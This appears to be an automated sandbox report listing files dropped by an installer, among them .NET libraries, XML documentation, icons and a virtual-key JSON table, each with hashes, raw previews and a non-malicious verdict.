                                                                        SHA-512:9F67FD0566EAC2DA4253D08697DAAB427E4E85780615D940F086A88424DCBB0563ABAE7E4824088E64EF7024C1BB3BBF324F2D07BC7BA55F79E4AF3C9EA88E97
                                                                        Malicious:false
                                                                        Antivirus:
                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....d..........." ..0..$...........C... ...`....... ....................................`.................................oC..O....`...................#..........|B..T............................................ ............... ..H............text....#... ...$.................. ..`.rsrc........`.......&..............@..@.reloc...............,..............@..B.................C......H.......4&.......................A........................................(....*..(....*.0....................(....}.....*6.|.....(...+*:.|......(...+*:.|......(...+*2.|....(....*..{....%-.&.|....s.....(....%-.&.{....*"..(....*>..}......}....*..0...........{....o........{....(....*Z..}......}......}....*N.{......{....s....*N.{.....{.....s....*v.{.....{....o ....{....s!...*..(....*"..s....*.0.....................s"...*&...s"...*..{#...*"..}#...*.0..F.........{$....Xh}$.....}%.
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, ASCII text, with very long lines (321), with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:0737B770BA5D854D4887A8F4D9C8DE04
                                                                        SHA1:40A8A356D807D71C102C91D68AD1A0AD6E3FDDA6
                                                                        SHA-256:CA53D9B1BBEA04C30DB4186B015B7C57DCE7C5ECDF1CFAC9E4AFE9FFCF6910F0
                                                                        SHA-512:39A48874D547F714922F4864D3A34C842AC0898B09040796A9046182C093E3CA70F1D20F5D616721129E8D7F6A1F1FDEB3C8277C6BB2EB53B6DC8EA5966003C7
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:<?xml version="1.0"?>..<doc>.. <assembly>.. <name>Microsoft.Bcl.AsyncInterfaces</name>.. </assembly>.. <members>.. <member name="T:System.Threading.Tasks.Sources.ManualResetValueTaskSourceCore`1">.. <summary>Provides the core logic for implementing a manual-reset <see cref="T:System.Threading.Tasks.Sources.IValueTaskSource"/> or <see cref="T:System.Threading.Tasks.Sources.IValueTaskSource`1"/>.</summary>.. <typeparam name="TResult"></typeparam>.. </member>.. <member name="F:System.Threading.Tasks.Sources.ManualResetValueTaskSourceCore`1._continuation">.. <summary>.. The callback to invoke when the operation completes if <see cref="M:System.Threading.Tasks.Sources.ManualResetValueTaskSourceCore`1.OnCompleted(System.Action{System.Object},System.Object,System.Int16,System.Threading.Tasks.Sources.ValueTaskSourceOnCompletedFlags)"/> was called before the operation completed,.. or <see cref="F:System.
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:1488C726A98F80C3DDC6A1D00A8D0B8B
                                                                        SHA1:824AD1174E5C2FC5C68B04E68C39C35E1BF4E812
                                                                        SHA-256:3E4EF152246EB9D1EBF58C2BB93EA038232AFA0C1DF03B6D3A9E398620938759
                                                                        SHA-512:904C2ABFE632021BC66EA638694BAEB4E173486E7080CAE36444BB4A1E15E7F5F58132C96429837B77FFFAD2154EEE4E773829A65002C670CAD0A7AFCBB839CE
                                                                        Malicious:false
                                                                        Antivirus:
                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...=.:O...........!.....2...........O... ...`....@.. ...............................l....@..................................O..S....`...............<..H............N............................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............:..............@..B.................O......H.......d....i...............'..P .......................................^3....D..0$...-.........h=.bwt...#.=..5ZG.}..s!..h........I.....Y.....bCt.g .....z.c..[V..Z.......*..]..4/@1={.X.E.MoL...e.d..{....*"..}....*..{....*"..}....*..{....*"..}....*.s....*"..o....*.sH...*.*B.h...(*...(....*....0..........(+...o...+..o....*...0..^.......(+...o...+..,N......(*...(+...o...+o..........(*...(+...o...+o..........(*...(+...o...+o.....*...0..........(+...o...+..9.....r...p.P...(*..
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, ASCII text, with very long lines (354), with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:65014C44702CA43A739BFE9688A84831
                                                                        SHA1:C076F7C17BB076BE64D833FE1B4C306B4E9A05BA
                                                                        SHA-256:E82F59726374B3ACFA05B038C882B087F4A3CC91B5F2CC4CA3A5A8B0D0B60BA0
                                                                        SHA-512:052234FD9CD6F82359F669660ED338248C13AFA08378247A2D879A964C13F83E0B5A155C0DAD78CA4B155D5EA4EFCE013804CC82AED15DF109326D21F366B437
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:<?xml version="1.0"?>..<doc>.. <assembly>.. <name>Microsoft.Practices.Prism</name>.. </assembly>.. <members>.. <member name="T:Microsoft.Practices.Prism.Bootstrapper">.. <summary>.. Base class that provides a basic bootstrapping sequence and hooks.. that specific implementations can override.. </summary>.. <remarks>.. This class must be overriden to provide application specific configuration... </remarks>.. </member>.. <member name="M:Microsoft.Practices.Prism.Bootstrapper.CreateLogger">.. <summary>.. Create the <see cref="T:Microsoft.Practices.Prism.Logging.ILoggerFacade"/> used by the bootstrapper... </summary>.. <remarks>.. The base implementation returns a new TextLogger... </remarks>.. </member>.. <member name="M:Microsoft.Practices.Prism.Bootstrapper.Run">.. <summary>..
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:MS Windows icon resource - 1 icon, -128x-128, 32 bits/pixel
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:A78008E9C55FCB98C9ADF7E1263D8464
                                                                        SHA1:46FA36020C1C70BF3649F66B92CE09E8D9A112B7
                                                                        SHA-256:E186AB8FEC275EE81701BB161F4EF34C69F69419936C43505B5DCDA6D4B9A248
                                                                        SHA-512:2BEF99DCE4E8FDE4F7E044C94577099E7E7D7BFBA04E6886363FE5F23040FA07EAC9698F9CF88258358D60075CB14954F1D6948C9BBF2E6B9D93CC44BCD52C48
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:............ .(.......(............. ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:MS Windows icon resource - 1 icon, -128x-128, 32 bits/pixel
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:4F1487DA2DD64F4313C3520B80AC81DA
                                                                        SHA1:1217A1ADF889220292B8A924CE6F71CB3BB98B17
                                                                        SHA-256:6A05921B9F60A78F928B95382DD3005C8C3217851C43090E12965415299D0EBB
                                                                        SHA-512:3E03722ADE53CED6A92C7F80B04A31BD33A493DE0E0CE1EA12D00A6913C2127C81FBC13B802815282A251E070D014D2027240567DAC7289C9AB3A756805D3AAE
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:............ .(.......(............. ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:MS Windows icon resource - 1 icon, -128x-128, 32 bits/pixel
                                                                        Category:dropped
                                                                        Size (bytes):67646
                                                                        Entropy (8bit):2.320342896673408
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:4F1487DA2DD64F4313C3520B80AC81DA
                                                                        SHA1:1217A1ADF889220292B8A924CE6F71CB3BB98B17
                                                                        SHA-256:6A05921B9F60A78F928B95382DD3005C8C3217851C43090E12965415299D0EBB
                                                                        SHA-512:3E03722ADE53CED6A92C7F80B04A31BD33A493DE0E0CE1EA12D00A6913C2127C81FBC13B802815282A251E070D014D2027240567DAC7289C9AB3A756805D3AAE
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:............ .(.......(............. ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:MS Windows icon resource - 1 icon, -128x-128, 32 bits/pixel
                                                                        Category:dropped
                                                                        Size (bytes):67646
                                                                        Entropy (8bit):1.823879389181752
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:A78008E9C55FCB98C9ADF7E1263D8464
                                                                        SHA1:46FA36020C1C70BF3649F66B92CE09E8D9A112B7
                                                                        SHA-256:E186AB8FEC275EE81701BB161F4EF34C69F69419936C43505B5DCDA6D4B9A248
                                                                        SHA-512:2BEF99DCE4E8FDE4F7E044C94577099E7E7D7BFBA04E6886363FE5F23040FA07EAC9698F9CF88258358D60075CB14954F1D6948C9BBF2E6B9D93CC44BCD52C48
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:............ .(.......(............. ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:MS Windows icon resource - 1 icon, 256x256 with PNG image data, 256 x 256, 8-bit gray+alpha, non-interlaced, 32 bits/pixel
                                                                        Category:dropped
                                                                        Size (bytes):4810
                                                                        Entropy (8bit):7.938201373726621
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:5363E77E69E003BCD8CDE06F34C3C884
                                                                        SHA1:8B364C849A4EA39D402F5B3BCDED0166F6B275EB
                                                                        SHA-256:2D221F00AD119037FA63CD4E347C6CB9A2D48DC99614677E926CC4B5A1FC6C95
                                                                        SHA-512:66BE91C3AFAC037571C7B3A02DBE1D6B29280F45967B10581846750FDC13245BBB08B281014701107BC9E2E0171C855FA21B74379F8E4FF12B7D66CCA77A0230
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:............ ..........PNG........IHDR..............{`.....orNT..w....nIDATx..]mLVW.~@@)..Ul"..D.......v#.....Im...u.I..EK..d.V.Z....6UWQ.cM..+..Z..WE>. U.....w^)..{.s.9..3.y...{.93...93s..!.O..T.8..&.E............D...v......|.. c.V..>..Km..2P..D....n.<...a..b..N...{..g.....A....G.P......W8f..V.E.......n......._...Z/s....)..p...X..t...[(.........J.@......... ...qDI.j......F%.h.;.,F....e.d. ...D..".......@.@ . ......D..".......@.@ . 0.i...&.h#.1..`.*qYI..c=..?...ePm.`..X.....X./].......r....1...g..58.[l..?O....S.......xdc6.........m..=9^...b.=,.v4+...P'Z..%.E-.x..O.:..8.G.,...D7.....*....j.....I....OS~.K.1.EV.,.Z...x....S.Vc.....x.g.g~7..Z<%L.B...ik..M......T...I.m).@.d..G.f.._.....a.s....b5...$l.... .l.@0....GI...........U.0..u....c..y.T....\.,.#t...c...H...:.....l....]..9.Pr/.`.......J=."..B..Y..q.".&....b_..M..0...e.......3..x.........M^=..Ead.,....Lgi4B..qN....f.k...Y 4...Y.{..f....[...hE3N.5....u..L..o...d._C..A.Vb.^.t.SK....D..)..
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:MS Windows icon resource - 1 icon, 256x256 with PNG image data, 256 x 256, 8-bit gray+alpha, non-interlaced, 32 bits/pixel
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:5363E77E69E003BCD8CDE06F34C3C884
                                                                        SHA1:8B364C849A4EA39D402F5B3BCDED0166F6B275EB
                                                                        SHA-256:2D221F00AD119037FA63CD4E347C6CB9A2D48DC99614677E926CC4B5A1FC6C95
                                                                        SHA-512:66BE91C3AFAC037571C7B3A02DBE1D6B29280F45967B10581846750FDC13245BBB08B281014701107BC9E2E0171C855FA21B74379F8E4FF12B7D66CCA77A0230
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:............ ..........PNG........IHDR..............{`.....orNT..w....nIDATx..]mLVW.~@@)..Ul"..D.......v#.....Im...u.I..EK..d.V.Z....6UWQ.cM..+..Z..WE>. U.....w^)..{.s.9..3.y...{.93...93s..!.O..T.8..&.E............D...v......|.. c.V..>..Km..2P..D....n.<...a..b..N...{..g.....A....G.P......W8f..V.E.......n......._...Z/s....)..p...X..t...[(.........J.@......... ...qDI.j......F%.h.;.,F....e.d. ...D..".......@.@ . ......D..".......@.@ . 0.i...&.h#.1..`.*qYI..c=..?...ePm.`..X.....X./].......r....1...g..58.[l..?O....S.......xdc6.........m..=9^...b.=,.v4+...P'Z..%.E-.x..O.:..8.G.,...D7.....*....j.....I....OS~.K.1.EV.,.Z...x....S.Vc.....x.g.g~7..Z<%L.B...ik..M......T...I.m).@.d..G.f.._.....a.s....b5...$l.... .l.@0....GI...........U.0..u....c..y.T....\.,.#t...c...H...:.....l....]..9.Pr/.`.......J=."..B..Y..q.".&....b_..M..0...e.......3..x.........M^=..Ead.,....Lgi4B..qN....f.k...Y 4...Y.{..f....[...hE3N.5....u..L..o...d._C..A.Vb.^.t.SK....D..)..
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:JSON data
                                                                        Category:dropped
                                                                        Size (bytes):13502
                                                                        Entropy (8bit):4.776634445789893
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:9086691D3237737D380505930380E319
                                                                        SHA1:705D51D6A5059B42FA859CA996DB63F5205A403B
                                                                        SHA-256:0D3E3C266198D8F68460EC522D2D3915F487AFDE3DBBF72A052157B2E13374DA
                                                                        SHA-512:4EA13554CBB0813DF7C398BAD1F1A3A8C31DC57CB9EC801FFA386775F1158ACD1F62B03721F03E98BEE7F5EA5E36A7808DB678181ABDFB8BE83ED4F125FA355C
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:[.. {.. "virtual_key_name": "VK_LBUTTON",.. "virtual_key_hex_code": "0x01",.. "display_name": "Left Mouse Button".. },.. {.. "virtual_key_name": "VK_RBUTTON",.. "virtual_key_hex_code": "0x02",.. "display_name": "Right Mouse Button".. },.. {.. "virtual_key_name": "VK_MBUTTON",.. "virtual_key_hex_code": "0x04",.. "display_name": "Middle Mouse Button".. },.. {.. "virtual_key_name": "VK_XBUTTON1",.. "virtual_key_hex_code": "0x05",.. "display_name": "X1 Mouse Button".. },.. {.. "virtual_key_name": "VK_XBUTTON2",.. "virtual_key_hex_code": "0x06",.. "display_name": "X2 Mouse Button".. },.. {.. "virtual_key_name": "VK_BACK",.. "virtual_key_hex_code": "0x08",.. "display_name": "Backspace".. },.. {.. "virtual_key_name": "VK_TAB",.. "virtual_key_hex_code": "0x09",.. "display_name": "Tab".. },.. {.. "virtual_key_name": "VK_RETURN",.. "virtual_key_hex_code": "0x0D",.. "display_name": "Enter".. },.. {.. "virt
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:JSON data
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:9086691D3237737D380505930380E319
                                                                        SHA1:705D51D6A5059B42FA859CA996DB63F5205A403B
                                                                        SHA-256:0D3E3C266198D8F68460EC522D2D3915F487AFDE3DBBF72A052157B2E13374DA
                                                                        SHA-512:4EA13554CBB0813DF7C398BAD1F1A3A8C31DC57CB9EC801FFA386775F1158ACD1F62B03721F03E98BEE7F5EA5E36A7808DB678181ABDFB8BE83ED4F125FA355C
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:[.. {.. "virtual_key_name": "VK_LBUTTON",.. "virtual_key_hex_code": "0x01",.. "display_name": "Left Mouse Button".. },.. {.. "virtual_key_name": "VK_RBUTTON",.. "virtual_key_hex_code": "0x02",.. "display_name": "Right Mouse Button".. },.. {.. "virtual_key_name": "VK_MBUTTON",.. "virtual_key_hex_code": "0x04",.. "display_name": "Middle Mouse Button".. },.. {.. "virtual_key_name": "VK_XBUTTON1",.. "virtual_key_hex_code": "0x05",.. "display_name": "X1 Mouse Button".. },.. {.. "virtual_key_name": "VK_XBUTTON2",.. "virtual_key_hex_code": "0x06",.. "display_name": "X2 Mouse Button".. },.. {.. "virtual_key_name": "VK_BACK",.. "virtual_key_hex_code": "0x08",.. "display_name": "Backspace".. },.. {.. "virtual_key_name": "VK_TAB",.. "virtual_key_hex_code": "0x09",.. "display_name": "Tab".. },.. {.. "virtual_key_name": "VK_RETURN",.. "virtual_key_hex_code": "0x0D",.. "display_name": "Enter".. },.. {.. "virt
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:F526BDF426ADDEC5F78065EB870D9058
                                                                        SHA1:71062E45CC998965E3D0A5B34661E44F30F96938
                                                                        SHA-256:C5BE08CE2FB67A7937669CB878134B2832C725EF8F07DE7577C150EFAAD5D1A2
                                                                        SHA-512:E00AB343CCB7E5D7D2CF6228C028E89D956B2EE4C3B230D2846A9E73E3B9CA57085BB11746E7FFAB50F99A19207E3DFDB96915ECA67C1D3585D338724F7988A4
                                                                        Malicious:false
                                                                        Antivirus:
                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....k..........." ..0................. ........... ....................................`.....................................O.......H...............................T............................................ ............... ..H............text....... ...................... ..`.rsrc...H...........................@..@.reloc..............................@..B........................H........S..TL............................................................(....*^.(.......>...%...}....*:.(......}....*:.(......}....*..(....*..(....*..(....*..{....*:.(......}....*..(....*..{....*:.(......}....*..{....*^.(.......?...%...}....*:.(......}....*..{....*..{....*z.(......}.......?...%...}....*V.(......}......}....*..(....*..{....*:.(......}....*..{....*:.(......}....*...0..j........-.r...ps....z.-.r%..ps....z..-.(....-.(....-...%-.&(F...+.(-......-.~.........sf...
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, ASCII text, with very long lines (346), with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:EBE0A1E5F2373700EF7057643C50B52F
                                                                        SHA1:C89BF980C47EED5D954A4D8B2612D22109F4C555
                                                                        SHA-256:FC7CB577061FEEB6A06C24207B0BA1D5F5CFD6ABD4F8D15CDCF54469067F13DE
                                                                        SHA-512:3C5B0D5C97220C43C4BE24546B51BEFDC0E3315F1C3B3FF1C16E39068FE3E09FE311909741E365E3C7BA23C004D1FE9D0DEB55917BFD317CA7850B709A6D44D0
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:<?xml version="1.0"?>..<doc>.. <assembly>.. <name>Serilog.Sinks.Console</name>.. </assembly>.. <members>.. <member name="T:Serilog.ConsoleLoggerConfigurationExtensions">.. <summary>.. Adds the WriteTo.Console() extension method to <see cref="T:Serilog.LoggerConfiguration"/>... </summary>.. </member>.. <member name="M:Serilog.ConsoleLoggerConfigurationExtensions.Console(Serilog.Configuration.LoggerSinkConfiguration,Serilog.Events.LogEventLevel,System.String,System.IFormatProvider,Serilog.Core.LoggingLevelSwitch,System.Nullable{Serilog.Events.LogEventLevel},Serilog.Sinks.SystemConsole.Themes.ConsoleTheme,System.Boolean,System.Object)">.. <summary>.. Writes log events to <see cref="T:System.Console"/>... </summary>.. <param name="sinkConfiguration">Logger sink configuration.</param>.. <param name="restrictedToMinimumLevel">The minimum level for.. events p
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:C25357A7950DCFC7F85EE9D593CB1A24
                                                                        SHA1:6A533712852465AB3C11B5C76004312D6482F07F
                                                                        SHA-256:5B70DC2EECEB1963F9C3690C1CC8FFA793B280E903FA9A31780E6A7BB0BDFCF9
                                                                        SHA-512:30CA628B17B2A51BD9974FE1380CAF728E7826C2BB552E4BC5AC15BE8F819E908FC1744932DB23734FEC64E0F2C758372D8C49D019407EFDFB076133C6DF70C6
                                                                        Malicious:false
                                                                        Antivirus:
                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...^.H..........." ..0..x............... ........... ....................................`....................................O......................................T............................................ ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc..............................@..B........................H........=...V..................P.........................................(!...*^.(!......G...%...}....*:.(!.....}....*:.(!.....}....*..(!...*..(!...*..(!...*..{....*:.(!.....}....*..(!...*..{....*:.(!.....}....*..{....*^.(!......H...%...}....*:.(!.....}....*..{....*..{....*z.(!.....}.......H...%...}....*V.(!.....}......}....*..(!...*..{....*:.(!.....}....*..{....*:.(!.....}....*...0..,.............................................(....*.0..*...................................
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:Microsoft Roslyn C# debugging symbols version 1.0
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:F1AF59548261BE14DD1A0D5A10CADEC0
                                                                        SHA1:411C5EB1B529AEC73F6A246AB965C25248701E14
                                                                        SHA-256:0AE6BE9B8D7BA5B2D7AD09C9A0C2439671D6D419211199A86C3C6722E9FA6CF9
                                                                        SHA-512:C2C12D8137774788C447C5BF735D8D090414E42A925EB5590A3AEDE7AA50D528323120A2D636602774B51CA54AAE4044E218154EB29B6FC52468A9F6FA142067
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:BSJB............PDB v1.0........|...p...#Pdb............#~......4...#Strings....,.......#US.0...P...#GUID...........#Blob.....q..*.H...JGG@........W...........k...'..._...................5....................................................................... ...........%.......3...........\...d.......................*...e...r.......................+...b...o...........................[...h...................'...4...t.......................................<...U...................6...O...................0...I...................D...S.............................Q...]...i...u...|................................................... .......1.......$...,...5...>...j...................................................................5...A...........................<...O...........................+...2...Z...................b.......................+...G...d...........................G.......*...7...T...}...................................................................................$.........
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, ASCII text, with very long lines (499), with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:28D966EDE9C3C25CF49E1F20D9AA6847
                                                                        SHA1:B154321576F50BF8C0E27E940DA030842B580D8E
                                                                        SHA-256:5337A07C7AA7DD901A330C893C7D1B6F101AB3706B7AAB8CC3EAF4E5C236D9F7
                                                                        SHA-512:05DDD35F4F4A75E2B0FB50BD5E26FE9F6DF993E629C735DF9C8247554570EB122CA6A48E0659380CF00D0180BE3133EA28D6FAD4E29BA4E9BE0AB2D9A0901F75
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:<?xml version="1.0"?>..<doc>.. <assembly>.. <name>Serilog.Sinks.File</name>.. </assembly>.. <members>.. <member name="T:Serilog.FileLoggerConfigurationExtensions">.. <summary>Extends <see cref="T:Serilog.LoggerConfiguration"/> with methods to add file sinks.</summary>.. </member>.. <member name="M:Serilog.FileLoggerConfigurationExtensions.File(Serilog.Configuration.LoggerSinkConfiguration,System.String,Serilog.Events.LogEventLevel,System.String,System.IFormatProvider,System.Nullable{System.Int64},Serilog.Core.LoggingLevelSwitch,System.Boolean,System.Boolean,System.Nullable{System.TimeSpan})">.. <summary>.. Write log events to the specified file... </summary>.. <param name="sinkConfiguration">Logger sink configuration.</param>.. <param name="path">Path to the file.</param>.. <param name="restrictedToMinimumLevel">The minimum level for.. events passed through the s
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:0AA45A8A1CD24CD2B589E4AAD925F35D
                                                                        SHA1:0DC29954C4C2FFEA4C33AF0E56CE84158849B81E
                                                                        SHA-256:7A26A473AF5EB7A00196E275C86D773F36E1D4CAEF566F97F1DF7E07E20B1670
                                                                        SHA-512:7A865B16633C09BDECDA34FDF15C62DB4F04F2FB8DB0ABF57563AEA51DE67DAF9ECA0C08F053F551937A0C3C7987A53DE2454ECB13139A193291633DF7262981
                                                                        Malicious:false
                                                                        Antivirus:
                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...H............." ..0.............".... ... ....... .......................`...........`.....................................O.... .......................@..........T............................................ ............... ..H............text...(.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H............N............................................................{(...*..{)...*V.(*.....}(.....})...*...0..;........u......,/(+....{(....{(...o,...,.(-....{)....{)...o....*.*. ... )UU.Z(+....{(...o/...X )UU.Z(-....{)...o0...X*.0..b........r...p......%..{(......%q.........-.&.+.......o1....%..{)......%q.........-.&.+.......o1....(2...*..{3...*..{4...*V.(*.....}3.....}4...*.0..;........u......,/(+....{3....{3...o,...,.(-....{4....{4...o....*.*. .T.2 )UU.Z(+....{3...o/
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, ASCII text, with very long lines (454), with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:9286AA30EB743A001D67B100236E9011
                                                                        SHA1:A476D5424129C7E40EC815A911313A71B92FE840
                                                                        SHA-256:C8F6500C2CD3D89E43A91D7C6E71C9480550BE1F3F2B79874CFEE6231D81B996
                                                                        SHA-512:6671BCF8010F2C42135830AF5B577188B62C53C2C303B07A5416D797FB07AD703ECBE0F864CFD94D174D198D437AE1B2F21B8091FAAD53B93261CCCE870B6E64
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:<?xml version="1.0"?>..<doc>.. <assembly>.. <name>Serilog</name>.. </assembly>.. <members>.. <member name="M:Serilog.Capturing.PropertyBinder.ConstructProperties(Serilog.Events.MessageTemplate,System.Object[])">.. <summary>.. Create properties based on an ordered list of provided values... </summary>.. <param name="messageTemplate">The template that the parameters apply to.</param>.. <param name="messageTemplateParameters">Objects corresponding to the properties.. represented in the message template.</param>.. <returns>A list of properties; if the template is malformed then.. this will be empty.</returns>.. </member>.. <member name="T:Serilog.Configuration.ILoggerSettings">.. <summary>.. Implemented on types that apply settings to a logger configuration... </summary>.. </member>.. <member name="M:Serilog.Configuratio
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:ECDFE8EDE869D2CCC6BF99981EA96400
                                                                        SHA1:2F410A0396BC148ED533AD49B6415FB58DD4D641
                                                                        SHA-256:ACCCCFBE45D9F08FFEED9916E37B33E98C65BE012CFFF6E7FA7B67210CE1FEFB
                                                                        SHA-512:5FC7FEE5C25CB2EEE19737068968E00A00961C257271B420F594E5A0DA0559502D04EE6BA2D8D2AAD77F3769622F6743A5EE8DAE23F8F993F33FB09ED8DB2741
                                                                        Malicious:false
                                                                        Antivirus:
                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                        Reputation:unknown
